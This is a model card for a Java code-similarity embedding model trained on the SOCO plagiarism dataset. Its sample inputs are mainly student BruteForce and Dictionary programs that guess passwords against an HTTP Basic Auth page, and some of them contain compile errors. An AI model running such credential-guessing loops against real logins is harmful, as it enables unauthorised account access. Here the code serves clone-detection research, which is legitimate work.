- "import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n URLConnection conn = null;\n private static boolean status = false;\n\n public static void main (String args[]){\n Dictionary a = new Dictionary();\n String[] inp = {\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\",\n \t\t\t\t \"\",\n \t\t\t\t \"\"};\n File file = new File(\"words\");\n exit:\n try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n \t\t \tif (status) {\n\t\t\t \t\t System.out.println(\"Crrect password is: \" + inp[2]);\n\t\t\t \t\t System.out.println(\"Number of attempts = \" + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println(\"File not found: \" + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n }\n\n public void doit(String args[]) {\n \n try {\n BufferedReader in = new BufferedReader(\n new InputStreamReader\n (connectURL(new URL(args[0]), args[1], args[2])));\n String line;\n while ((line = in.readLine()) != null) {\n System.out.println(line);\n status = true;\n }\n }\n catch (IOException e) {\n \n }\n }\n\n public InputStream connectURL (URL url, String uname, String pword)\n throws IOException {\n conn = url.openConnection();\n conn.setRequestProperty (\"Authorization\",\n userNamePasswordBase64(uname,pword));\n conn.connect ();\n return conn.getInputStream();\n }\n\n public String userNamePasswordBase64(String username, String password) {\n return \" \" + base64Encode (username + \":\" + password);\n }\n\n private final static char base64Array [] = {\n 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',\n 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',\n 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',\n 'w', 'x', 'y', 'z', '0', '1', '2', '3',\n '4', '5', '6', '7', '8', '9', '+', '/'\n };\n\n private static String base64Encode (String string) {\n String encodedString = \"\";\n byte bytes [] = string.getBytes ();\n int i = 0;\n int pad = 0;\n while (i < bytes.length) {\n byte b1 = bytes [i++];\n byte b2;\n byte b3;\n if (i >= bytes.length) {\n b2 = 0;\n b3 = 0;\n pad = 2;\n }\n else {\n b2 = bytes [i++];\n if (i >= bytes.length) {\n b3 = 0;\n pad = 1;\n }\n else\n b3 = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString += base64Array [c1];\n encodedString += base64Array [c2];\n switch (pad) {\n case 0:\n encodedString += base64Array [c3];\n encodedString += base64Array [c4];\n break;\n case 1:\n encodedString += base64Array [c3];\n encodedString += \"=\";\n break;\n case 2:\n encodedString += \"==\";\n break;\n }\n }\n return encodedString;\n }\n }\n\n"
- "\n\nimport java.io.*;\nimport java.*;\nimport java.net.*;\nimport java.util.*;\n\npublic class BruteForce {\n public static void main (String[] args) throws IOException {\n BufferedReader stdin = new BufferedReader (new InputStreamReader(System.in));\n\n int start = new Date().getTime();\n String[] letters = {\"a\",\"A\",\"b\",\"B\",\"c\",\"C\",\"d\",\"D\",\"e\",\"E\",\"f\",\"F\",\"g\",\"G\",\n \"h\",\"H\",\"i\",\"I\",\"j\",\"J\",\"k\",\"K\",\"l\",\"L\",\"m\",\"M\",\"n\",\"N\",\n\t\t\t \"o\",\"O\",\"p\",\"P\",\"q\",\"Q\",\"r\",\"R\",\"s\",\"S\",\"t\",\"T\",\"u\",\"U\",\n\t\t\t \"v\",\"V\",\"w\",\"W\",\"x\",\"X\",\"y\",\"Y\",\"z\",\"Z\"};\n int len = 52;\n int total = 52;\n String[] cad = new String[total];\n int t=0;\n \n for (int i=0;i<=len-1;i++){\n\t cad[t] = letters[i];\n\t t++;\n } \n for (int i=0;i<=len-1;i++){\n for (int j=0;j<=len-1;j++){\n\t cad[t] = letters[j]+letters[i];\n\t t++;\n }}\n for (int i=0;i<=len-1;i++){\n for (int j=0;j<=len-1;j++){\n for (int k=0;k<=len-1;k++){\n\t cad[t] = letters[k]+letters[j]+letters[i];\n\t t++;\n }}}\n \n int response = 0;\n for (t=0;t<=total-1;t++){\n String uname = \"\";\n String userinfo = uname + \":\" + cad[t];\n try{\n String encoding = new url.misc.BASE64Encoder().encode (userinfo.getBytes());\n URL url = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\");\n HttpURLConnection uc = (HttpURLConnection)url.openConnection();\n uc.setRequestProperty (\"Authorization\", \" \" + encoding);\n response = uc.getResponseCode();\n\t if (response == 200) break;\n\t else uc.disconnect();\n }\n catch(IOException e){ System.err.println(e); e.printStackTrace(); } \n catch(IllegalStateException s){ System.err.println(s); s.printStackTrace(); }\n }\n System.out.println(\"Response \"+t+\" was \"+response);\n System.out.println(\"The successful password was \"+cad[t]);\n finish = new Date().getTime();\n float totaltime = (float)(finish-start)/1000;\n System.out.println(\"Total time: \"+totaltime+\" seconds\");\n }\n}\n\n"
- source_sentence: |-
import java.net.*;
import java.io.*;
public class BruteForce {
private String strUserName;
private String strURL;
private int iAttempts;
public BruteForce(String strURL,String strUserName) {
this.strURL = strURL;
this.strUserName = strUserName;
this.iAttempts = 0 ;
}
public String getPassword(){
URL u;
String result ="";
PassGenBrute PG = new PassGenBrute(3);
URLConnection uc;
String strPassword = new String();
String strEncode;
try{
while (result.compareTo("HTTP/1.1 200 OK")!=0){
strEncode = PG.getNewPassword();
u = new URL(strURL);
uc = u.openConnection();
uc.setDoInput(true);
uc.setDoOutput(true);
strPassword = strEncode;
strEncode = strUserName + ":" + strEncode;
strEncode = new String(Base64.encode(strEncode.getBytes()));
uc.setRequestProperty("Authorization"," " + strEncode);
result = uc.getHeaderField(0);
uc = null;
u = null;
iAttempts++;
}
}
catch (Exception me) {
System.out.println("MalformedURLException: "+me);
}
return(strPassword);
}
public int getAttempts(){
return (iAttempts);
};
public static void main (String arg[]){
timeStart = 0;
timeEnd = 0;
if (arg.length == 2) {
BruteForce BF = new BruteForce(arg[0],arg[1]);
System.out.println("Processing ... ");
timeStart = System.currentTimeMillis();
System.out.println("Password = " + BF.getPassword());
timeEnd = System.currentTimeMillis();
System.out.println("Total Time Taken = " + (timeEnd - timeStart) + " (msec)");
System.out.println("Total Attempts = " + BF.getAttempts());
}
else {
System.out.println("[Usage] java BruteForce <URL> <USERNAME>");
}
}
}
class PassGenBrute {
private char[] password;
public PassGenBrute(int lenght) {
password = new char[lenght];
for (int i = 0; i < lenght; i++){
password[i] = 65;
}
password[0]--;
}
public String getNewPassword()
throws PasswordFailureException{
password[0]++;
try {
for (int i=0; i<password.length ; i++){
if (password[i] == 90) {
password[i] = 97;
}
if (password[i] > 122) {
password[i] = 65;
password[i+1]++;
}
}
}
catch (RuntimeException re){
throw new PasswordFailureException ();
}
return new String(password);
}
}
class PasswordFailureException extends RuntimeException {
public PasswordFailureException() {
}
}
sentences:
- |-
import java.net.*;
import java.io.*;
public class Dictionary {
private String strUserName;
private String strURL;
private String strDictPath;
private int iAttempts;
public Dictionary(String strURL,String strUserName,String strDictPath) {
this.strURL = strURL;
this.strUserName = strUserName;
this.iAttempts = 0 ;
this.strDictPath = strDictPath;
}
public String getPassword(){
URL u;
String result ="";
PassGenDict PG = new PassGenDict(3,strDictPath);
URLConnection uc;
String strPassword = new String();
String strEncode;
try{
while (result.compareTo("HTTP/1.1 200 OK")!=0){
strEncode = PG.getNewPassword();
u = new URL(strURL);
uc = u.openConnection();
uc.setDoInput(true);
uc.setDoOutput(true);
strPassword = strEncode;
strEncode = strUserName + ":" + strEncode;
strEncode = new String(Base64.encode(strEncode.getBytes()));
uc.setRequestProperty("Authorization"," " + strEncode);
result = uc.getHeaderField(0);
uc = null;
u = null;
iAttempts++;
}
}
catch (Exception me) {
System.out.println("MalformedURLException: "+me);
}
return(strPassword);
}
public int getAttempts(){
return (iAttempts);
};
public static void main(String arg[]){
timeStart = 0;
timeEnd = 0;
if (arg.length == 3) {
Dictionary BF = new Dictionary(arg[0],arg[1],arg[2]);
System.out.println("Processing ... ");
timeStart = System.currentTimeMillis();
System.out.println("Password = " + BF.getPassword());
timeEnd = System.currentTimeMillis();
System.out.println("Total Time Taken = " + (timeEnd - timeStart) + " (msec)");
System.out.println("Total Attempts = " + BF.getAttempts());
}
else {
System.out.println("[Usage] java BruteForce <URL> <USERNAME> <Dictionary path>");
}
}
}
class PassGenDict {
private char[] password;
private String line;
int iPassLenght;
private BufferedReader inputFile;
public PassGenDict(int lenght, String strDictPath) {
try{
inputFile = new BufferedReader(new FileReader(strDictPath));
}
catch (Exception e){
}
iPassLenght = lenght;
}
public String getNewPassword()
throws PasswordFailureException{
try {
{
line = inputFile.readLine();
}while (line.length() != iPassLenght);
}
catch (Exception e){
throw new PasswordFailureException ();
}
return (line);
}
}
class PasswordFailureException extends RuntimeException {
public PasswordFailureException() {
}
}
- |-
import java.io.IOException;
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary
{
static URL url = null;
static URLConnection urlConnection;
static InputStream urlStream;
static String strOneLetterWords[];
static String strTwoLetterWords[];
static String strThreeLetterWords[];
static String strExceptionPassword[];
static String strLastPasswordTested;
static String username = "";
static int intNumberOfOneLetterWords = 0;
static int intNumberOfTwoLetterWords = 0;
static int intNumberOfThreeLetterWords = 0;
static int intExceptionCount = -1;
static int intNumberOfConnectionAttempts = 0;
static int intTotalNumberOfWordsInFile = 0;
public static void main (String args[])
{
Calendar calStart;
Calendar calFinish;
Date dateStart;
Date dateFinish;
lngStart;
lngFinish;
String strLine;
String strTextFileName = "/usr/share/lib/dict/words";
boolean boolPasswordFound = false;
boolean boolExceptionPasswordsTestedAgain = false;
String urlString
= "http://sec-crack.cs.rmit.edu./SEC/2/index.php";
int intCounter1;
int intCounter2;
int intCounter3;
int intTotalNumberOfWordsChecked = 0;
calStart = new GregorianCalendar();
dateStart = calStart.getTime();
lngStart = dateStart.getTime();
strExceptionPassword = new String[5000];
getNumberOfVariousLengthsOfWords(strTextFileName);
strOneLetterWords = new String[intNumberOfOneLetterWords];
strTwoLetterWords = new String[intNumberOfTwoLetterWords];
strThreeLetterWords = new String[intNumberOfThreeLetterWords];
populateTheDifferentLengthArrays(strTextFileName);
if (!boolPasswordFound)
{
intCounter1 = 0;
while ( (!boolPasswordFound) && (intCounter1 < intNumberOfOneLetterWords) )
{
boolPasswordFound = true;
boolPasswordFound = passwordWasFound(urlString,
strOneLetterWords[intCounter1],
boolPasswordFound);
intCounter1++;
intTotalNumberOfWordsChecked++;
}
intCounter1 = 0;
while ( (!boolPasswordFound) && (intCounter1 < intNumberOfTwoLetterWords) )
{
boolPasswordFound = true;
boolPasswordFound = passwordWasFound(urlString,
strTwoLetterWords[intCounter1],
boolPasswordFound);
intCounter1++;
intTotalNumberOfWordsChecked++;
}
intCounter1 = 0;
while ( (!boolPasswordFound) && (intCounter1 < intNumberOfThreeLetterWords) )
{
boolPasswordFound = true;
boolPasswordFound = passwordWasFound(urlString,
strThreeLetterWords[intCounter1],
boolPasswordFound);
intCounter1++;
intTotalNumberOfWordsChecked++;
}
intCounter1 = 0;
while ( (!boolPasswordFound) && (intCounter1 < intNumberOfOneLetterWords) )
{
intCounter2 = 0;
while ( (!boolPasswordFound) && (intCounter2 < intNumberOfOneLetterWords) )
{
boolPasswordFound = true;
boolPasswordFound
= passwordWasFound(urlString,
strOneLetterWords[intCounter1] +
strOneLetterWords[intCounter2],
boolPasswordFound);
intCounter2++;
intTotalNumberOfWordsChecked++;
}
intCounter1++;
}
intCounter1 = 0;
while ( (!boolPasswordFound) && (intCounter1 < intNumberOfOneLetterWords) )
{
intCounter2 = 0;
while ( (!boolPasswordFound) && (intCounter2 < intNumberOfOneLetterWords) )
{
intCounter3 = 0;
while ( (!boolPasswordFound) && (intCounter3 < intNumberOfOneLetterWords) )
{
boolPasswordFound = true;
boolPasswordFound
= passwordWasFound(urlString,
strOneLetterWords[intCounter1] +
strOneLetterWords[intCounter2] +
strOneLetterWords[intCounter3],
boolPasswordFound);
intCounter3++;
intTotalNumberOfWordsChecked++;
}
intCounter2++;
}
intCounter1++;
}
intCounter1 = 0;
while ( (!boolPasswordFound) && (intCounter1 < intNumberOfOneLetterWords) )
{
intCounter2 = 0;
while ( (!boolPasswordFound) && (intCounter2 < intNumberOfTwoLetterWords) )
{
boolPasswordFound = true;
boolPasswordFound
= passwordWasFound(urlString,
strOneLetterWords[intCounter1] +
strTwoLetterWords[intCounter2],
boolPasswordFound);
intCounter2++;
intTotalNumberOfWordsChecked++;
}
intCounter1++;
}
intCounter1 = 0;
while ( (!boolPasswordFound) && (intCounter1 < intNumberOfTwoLetterWords) )
{
intCounter2 = 0;
while ( (!boolPasswordFound) && (intCounter2 < intNumberOfOneLetterWords) )
{
boolPasswordFound = true;
boolPasswordFound
= passwordWasFound(urlString,
strTwoLetterWords[intCounter1] +
strOneLetterWords[intCounter2],
boolPasswordFound);
intCounter2++;
intTotalNumberOfWordsChecked++;
}
intCounter1++;
}
intCounter1 = 0;
while ( (!boolPasswordFound) && (intCounter1 <= intExceptionCount) )
{
boolExceptionPasswordsTestedAgain = true;
boolPasswordFound = true;
boolPasswordFound
= passwordWasFound(urlString,
strExceptionPassword[intCounter1],
boolPasswordFound);
intCounter1++;
intTotalNumberOfWordsChecked++;
}
}
calFinish = new GregorianCalendar();
dateFinish = calFinish.getTime();
lngFinish = dateFinish.getTime();
System.out.println();
System.out.println();
System.out.println();
System.out.println("Length of time for processing: " +
((lngFinish - lngStart) / 1000) +
" seconds");
System.out.println();
System.out.println("Total number of words in dictionary file = " + intTotalNumberOfWordsInFile);
System.out.println();
System.out.println("Input file: number of words with one letter length = " + intNumberOfOneLetterWords);
System.out.println("Input file: number of words with two letter length = " + intNumberOfTwoLetterWords);
System.out.println("Input file: number of words with three letter length = " + intNumberOfThreeLetterWords);
System.out.println();
System.out.println("Number of connection attempts = " + intTotalNumberOfWordsChecked);
System.out.println();
System.out.println("Number of exceptions thrown = " + (intExceptionCount + 1));
System.out.println();
if (intExceptionCount >= 0)
{
System.out.print("These passwords WERE ");
if (boolExceptionPasswordsTestedAgain)
System.out.print("tested again.");
else
System.out.print("NOT tested again.");
System.out.println();
}
if (boolPasswordFound)
{
System.out.println("The correct password WAS found - this password is '" +
strLastPasswordTested + "'.");
}
else
{
System.out.println("The correct password WAS NOT found.");
}
System.out.println();
}
static void getNumberOfVariousLengthsOfWords(String TextFileName)
{
FileReader reader;
BufferedReader inTextFile = null;
String strLine;
int intWordLength;
try
{
reader = new FileReader(TextFileName);
inTextFile = new BufferedReader(reader);
strLine = inTextFile.readLine();
while (strLine != null)
{
intTotalNumberOfWordsInFile++;
strLine = strLine.trim();
intWordLength = strLine.length();
if (intWordLength == 1)
intNumberOfOneLetterWords++;
else if (intWordLength == 2)
intNumberOfTwoLetterWords++;
else if (intWordLength == 3)
intNumberOfThreeLetterWords++;
strLine = inTextFile.readLine();
}
}
catch(FileNotFoundException e)
{
System.out.println();
System.out.println("The file '" + TextFileName + "' cannot found.");
System.out.println();
}
catch(Exception e)
{
}
finally
{
try
{
inTextFile.print();
}
catch(Exception e)
{
}
inTextFile = null;
reader = null;
}
}
static void populateTheDifferentLengthArrays(String TextFileName)
{
FileReader reader;
BufferedReader inTextFile = null;
String strLine;
int intWordLength;
int intCountOfOneLetterWords = -1;
int intCountOfTwoLetterWords = -1;
int intCountOfThreeLetterWords = -1;
try
{
reader = new FileReader(TextFileName);
inTextFile = new BufferedReader(reader);
strLine = inTextFile.readLine();
while (strLine != null)
{
strLine = strLine.trim();
intWordLength = strLine.length();
if (intWordLength == 1)
{
intCountOfOneLetterWords++;
strOneLetterWords[intCountOfOneLetterWords] = strLine;
}
else if (intWordLength == 2)
{
intCountOfTwoLetterWords++;
strTwoLetterWords[intCountOfTwoLetterWords] = strLine;
}
else if (intWordLength == 3)
{
intCountOfThreeLetterWords++;
strThreeLetterWords[intCountOfThreeLetterWords] = strLine;
}
strLine = inTextFile.readLine();
}
}
catch(FileNotFoundException e)
{
System.out.println();
System.out.println("The file '" + TextFileName + "' cannot found.");
System.out.println();
}
catch(Exception e)
{
System.out.println("Exception thrown....");
System.err.println(e);
}
finally
{
try
{
inTextFile.print();
}
catch(Exception e)
{
}
inTextFile = null;
reader = null;
}
}
static boolean passwordWasFound(String urlString,
String password,
boolean retVal)
{
String strEncodeInput = username + ":" + password;
boolean returnValue = retVal;
boolean boolExceptionThrown = false;
try
{
strLastPasswordTested = password;
intNumberOfConnectionAttempts++;
url = new URL(urlString);
String encoding = new url.misc.BASE64Encoder().encode (strEncodeInput.getBytes());
System.out.print("username = " +
username +
" " +
"password = " +
password);
HttpURLConnection urlConnection = (HttpURLConnection)url.openConnection();
urlConnection.setRequestProperty("Authorization",
" " + encoding);
System.out.println(" response = " + urlConnection.getResponseCode());
if (urlConnection.getResponseCode() == 401)
{
returnValue = false;
}
}
catch (MalformedURLException m)
{
boolExceptionThrown = true;
returnValue = false;
System.err.println(m);
System.out.println("Malformed URL Exception error");
}
catch (IOException io)
{
boolExceptionThrown = true;
returnValue = false;
System.out.println("IOException error");
System.err.println(io);
}
catch (Exception e)
{
boolExceptionThrown = true;
returnValue = false;
System.out.println("General exception.....");
System.err.println(e);
}
finally
{
urlConnection = null;
url = null;
}
if (boolExceptionThrown)
{
intExceptionCount++;
strExceptionPassword[intExceptionCount] = password;
}
return returnValue;
}
}
- |-
import java.util.*;
import java.io.*;
import javax.swing.text.html.*;
public class WatchDog {
public WatchDog() {
}
public static void main (String args[]) {
DataInputStream newin;
try{
System.out.println("ishti");
System.out.println("Downloading first copy");
Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students/ -O oldfile.html");
String[] cmdDiff = {"//sh", "-c", "diff oldfile.html newfile.html > Diff.txt"};
String[] cmdMail = {"//sh", "-c", "mailx -s \"Diffrence\" \"@cs.rmit.edu.\" < Diff.txt"};
while(true){
Thread.sleep(24*60*60*1000);
System.out.println("Downloading new copy");
Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students/ -O newfile.html");
Thread.sleep(2000);
Runtime.getRuntime().exec(cmdDiff);
Thread.sleep(2000);
newin = new DataInputStream( new FileInputStream( "Diff.txt"));
if (newin.readLine() != null){
System.out.println("Sending Mail");
Runtime.getRuntime().exec(cmdMail);
Runtime.getRuntime().exec("cp newfile.html oldfile.html");
}
}
}
catch(Exception e){
e.printStackTrace();
}
}
}
datasets:
- buelfhood/SOCO_TRAIN_java
pipeline_tag: sentence-similarity
library_name: sentence-transformers
SentenceTransformer based on microsoft/unixcoder-base-unimodal
This is a sentence-transformers model finetuned from microsoft/unixcoder-base-unimodal on the soco_train_java dataset. It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more.
Model Details
Model Description
- Model Type: Sentence Transformer
- Base model: microsoft/unixcoder-base-unimodal
- Maximum Sequence Length: 512 tokens
- Output Dimensionality: 768 dimensions
- Similarity Function: Cosine Similarity
- Training Dataset:
Model Sources
- Documentation: Sentence Transformers Documentation
- Repository: Sentence Transformers on GitHub
- Hugging Face: Sentence Transformers on Hugging Face
Full Model Architecture
SentenceTransformer(
(0): Transformer({'max_seq_length': 512, 'do_lower_case': False}) with Transformer model: RobertaModel
(1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True})
)
Usage
Direct Usage (Sentence Transformers)
First install the Sentence Transformers library:
pip install -U sentence-transformers
Then you can load this model and run inference.
from sentence_transformers import SentenceTransformer
# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-UnixCoder-MNLR-Triplets-e10")
# Run inference
sentences = [
'import java.net.*;\nimport java.io.*;\n\npublic class BruteForce {\n private String strUserName;\n private String strURL;\n private int iAttempts;\n \n public BruteForce(String strURL,String strUserName) {\n this.strURL = strURL;\n this.strUserName = strUserName;\n this.iAttempts = 0 ;\n\n }\n \n public String getPassword(){\n URL u;\n String result ="";\n PassGenBrute PG = new PassGenBrute(3);\n URLConnection uc;\n String strPassword = new String();\n String strEncode;\n try{\n while (result.compareTo("HTTP/1.1 200 OK")!=0){\n \n strEncode = PG.getNewPassword();\n u = new URL(strURL);\n uc = u.openConnection();\n uc.setDoInput(true);\n uc.setDoOutput(true);\n strPassword = strEncode;\n strEncode = strUserName + ":" + strEncode;\n \n strEncode = new String(Base64.encode(strEncode.getBytes()));\n uc.setRequestProperty("Authorization"," " + strEncode);\n \n result = uc.getHeaderField(0);\n uc = null;\n u = null;\n iAttempts++;\n }\n\n }\n catch (Exception me) {\n System.out.println("MalformedURLException: "+me);\n }\n return(strPassword);\n }\n \n public int getAttempts(){\n return (iAttempts);\n };\n \n public static void main (String arg[]){\n timeStart = 0;\n timeEnd = 0;\n \n if (arg.length == 2) {\n BruteForce BF = new BruteForce(arg[0],arg[1]);\n System.out.println("Processing ... ");\n timeStart = System.currentTimeMillis();\n \n System.out.println("Password = " + BF.getPassword());\n timeEnd = System.currentTimeMillis();\n System.out.println("Total Time Taken = " + (timeEnd - timeStart) + " (msec)");\n System.out.println("Total Attempts = " + BF.getAttempts());\n }\n else {\n System.out.println("[Usage] java BruteForce <URL> <USERNAME>");\n\n }\n\n }\n}\n\nclass PassGenBrute {\n private char[] password;\n public PassGenBrute(int lenght) {\n password = new char[lenght];\n for (int i = 0; i < lenght; i++){\n password[i] = 65;\n }\n password[0]--;\n }\n \n public String getNewPassword()\n throws PasswordFailureException{\n password[0]++;\n\n try {\n for (int i=0; i<password.length ; i++){\n if (password[i] == 90) {\n password[i] = 97;\n }\n if (password[i] > 122) {\n password[i] = 65;\n password[i+1]++;\n }\n }\n }\n catch (RuntimeException re){\n throw new PasswordFailureException ();\n }\n return new String(password);\n }\n}\n\nclass PasswordFailureException extends RuntimeException {\n\n public PasswordFailureException() {\n }\n}',
'import java.net.*;\nimport java.io.*;\n\n\npublic class Dictionary {\n private String strUserName;\n private String strURL;\n private String strDictPath;\n private int iAttempts;\n\n \n public Dictionary(String strURL,String strUserName,String strDictPath) {\n this.strURL = strURL;\n this.strUserName = strUserName;\n this.iAttempts = 0 ;\n this.strDictPath = strDictPath;\n }\n \n\n public String getPassword(){\n URL u;\n String result ="";\n PassGenDict PG = new PassGenDict(3,strDictPath);\n URLConnection uc;\n String strPassword = new String();\n String strEncode;\n try{\n while (result.compareTo("HTTP/1.1 200 OK")!=0){\n \n strEncode = PG.getNewPassword();\n u = new URL(strURL);\n uc = u.openConnection();\n uc.setDoInput(true);\n uc.setDoOutput(true);\n strPassword = strEncode;\n strEncode = strUserName + ":" + strEncode;\n \n strEncode = new String(Base64.encode(strEncode.getBytes()));\n uc.setRequestProperty("Authorization"," " + strEncode);\n \n result = uc.getHeaderField(0);\n uc = null;\n u = null;\n iAttempts++;\n }\n\n }\n catch (Exception me) {\n System.out.println("MalformedURLException: "+me);\n }\n return(strPassword);\n }\n \n public int getAttempts(){\n return (iAttempts);\n };\n \n public static void main(String arg[]){\n timeStart = 0;\n timeEnd = 0;\n \n if (arg.length == 3) {\n Dictionary BF = new Dictionary(arg[0],arg[1],arg[2]);\n\n System.out.println("Processing ... ");\n timeStart = System.currentTimeMillis();\n System.out.println("Password = " + BF.getPassword());\n timeEnd = System.currentTimeMillis();\n System.out.println("Total Time Taken = " + (timeEnd - timeStart) + " (msec)");\n System.out.println("Total Attempts = " + BF.getAttempts());\n }\n else {\n System.out.println("[Usage] java BruteForce <URL> <USERNAME> <Dictionary path>");\n\n }\n\n }\n}\n\n\nclass PassGenDict {\n\n private char[] password;\n private String line;\n int iPassLenght;\n private BufferedReader inputFile;\n public PassGenDict(int lenght, String strDictPath) {\n try{\n inputFile = new BufferedReader(new FileReader(strDictPath));\n }\n catch (Exception e){\n }\n iPassLenght = lenght;\n }\n \n public String getNewPassword()\n throws PasswordFailureException{\n try {\n {\n line = inputFile.readLine();\n }while (line.length() != iPassLenght);\n\n }\n catch (Exception e){\n throw new PasswordFailureException ();\n }\n return (line);\n }\n}\n\nclass PasswordFailureException extends RuntimeException {\n\n public PasswordFailureException() {\n }\n}',
'import java.util.*;\nimport java.io.*;\nimport javax.swing.text.html.*;\n\n\npublic class WatchDog {\n\n public WatchDog() {\n\n }\n public static void main (String args[]) {\n DataInputStream newin;\n\n try{\n System.out.println("ishti");\n\n System.out.println("Downloading first copy");\n Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students/ -O oldfile.html");\n String[] cmdDiff = {"//sh", "-c", "diff oldfile.html newfile.html > Diff.txt"};\n String[] cmdMail = {"//sh", "-c", "mailx -s \\"Diffrence\\" \\"@cs.rmit.edu.\\" < Diff.txt"};\n while(true){\n Thread.sleep(24*60*60*1000);\n System.out.println("Downloading new copy");\n Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students/ -O newfile.html");\n Thread.sleep(2000);\n Runtime.getRuntime().exec(cmdDiff);\n Thread.sleep(2000);\n newin = new DataInputStream( new FileInputStream( "Diff.txt"));\n if (newin.readLine() != null){\n System.out.println("Sending Mail");\n Runtime.getRuntime().exec(cmdMail);\n Runtime.getRuntime().exec("cp newfile.html oldfile.html");\n\n }\n }\n\n }\n catch(Exception e){\n e.printStackTrace();\n }\n\n }\n\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]
# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Training Details
Training Dataset
soco_train_java
- Dataset: soco_train_java at 44ca4ff
- Size: 38,664 training samples
- Columns:
anchor_code
,positive_code
, andnegative_code
- Approximate statistics based on the first 1000 samples:
anchor_code positive_code negative_code type string string string details - min: 51 tokens
- mean: 466.79 tokens
- max: 512 tokens
- min: 51 tokens
- mean: 467.59 tokens
- max: 512 tokens
- min: 51 tokens
- mean: 455.04 tokens
- max: 512 tokens
- Samples:
anchor_code positive_code negative_code
import java.io.;
import java.net.;
import java.misc.BASE64Encoder;
public class Dictionary
{
public Dictionary()
{}
public boolean fetchURL(String urlString,String username,String password)
{
StringWriter sw= new StringWriter();
PrintWriter pw = new PrintWriter();
try{
URL url=new URL(urlString);
String userPwd= username+":"+password;
BASE64Encoder encoder = new BASE64Encoder();
String encodedStr = encoder.encode (userPwd.getBytes());
System.out.println("Original String = " + userPwd);
System.out.println("Encoded String = " + encodedStr);
HttpURLConnection huc=(HttpURLConnection) url.openConnection();
huc.setRequestProperty( "Authorization"," "+encodedStr);
InputStream content = (InputStream)huc.getInputStream();
BufferedReader in =
new BufferedReader (new InputStreamReader (content));
String line;
while ((line = in.readLine())...
import java.io.;
import java.net.;
import java.misc.BASE64Encoder;
public class BruteForce
{
public BruteForce()
{}
public boolean fetchURL(String urlString,String username,String password)
{
StringWriter = new StringWriter();
PrintWriter pw = new PrintWriter();
try{
URL url=new URL(urlString);
String userPwd= username+":"+password;
BASE64Encoder encoder = new BASE64Encoder();
String encodedStr = encoder.encode (userPwd.getBytes());
System.out.println("Original String = " + userPwd);
System.out.println("Encoded String = " + encodedStr);
HttpURLConnection huc=(HttpURLConnection) url.openConnection();
huc.setRequestProperty( "Authorization"," "+encodedStr);
InputStream content = (InputStream)huc.getInputStream();
BufferedReader in =
new BufferedReader (new InputStreamReader (content));
String line;
while ((line = in.readLine()) ...
import java.net.;
import java.io.;
import java.util.*;
public class Dictionary{
private static URL location;
private static String user;
private BufferedReader input;
private static BufferedReader dictionary;
private int maxLetters = 3;
public Dictionary() {
Authenticator.setDefault(new MyAuthenticator ());
startTime = System.currentTimeMillis();
boolean passwordMatched = false;
while (!passwordMatched) {
try {
input = new BufferedReader(new InputStreamReader(location.openStream()));
String line = input.readLine();
while (line != null) {
System.out.println(line);
line = input.readLine();
}
input.close();
passwordMatched = true;
}
catch (ProtocolException e)
{
}
catch (ConnectException e) {
System.out.println("Failed connect");
}
catch (IOException e) ...
import java.io.InputStream;
import java.util.Properties;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.rmi.PortableRemoteObject;
import javax.sql.DataSource;
public class WatchdogPropertyHelper {
private static Properties testProps;
public WatchdogPropertyHelper() {
}
public static String getProperty(String pKey){
try{
initProps();
}
catch(Exception e){
System.err.println("Error init'ing the watchddog Props");
e.printStackTrace();
}
return testProps.getProperty(pKey);
}
private static void initProps() throws Exception{
if(testProps == null){
testProps = new Properties();
InputStream fis =
WatchdogPropertyHelper.class.getResourceAsStream("/watchdog.properties");
testProps.load(fis);
}
}
}
import java.io.InputStream;
import java.util.Properties;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.rmi.PortableRemoteObject;
import javax.sql.DataSource;
public class BruteForcePropertyHelper {
private static Properties bruteForceProps;
public BruteForcePropertyHelper() {
}
public static String getProperty(String pKey){
try{
initProps();
}
catch(Exception e){
System.err.println("Error init'ing the burteforce Props");
e.printStackTrace();
}
return bruteForceProps.getProperty(pKey);
}
private static void initProps() throws Exception{
if(bruteForceProps == null){
bruteForceProps = new Properties();
InputStream fis =
BruteForcePropertyHelper.class.getResourceAsStream("/bruteforce.properties");
bruteForceProps.load(fis);
}
}
}
import java.io.;
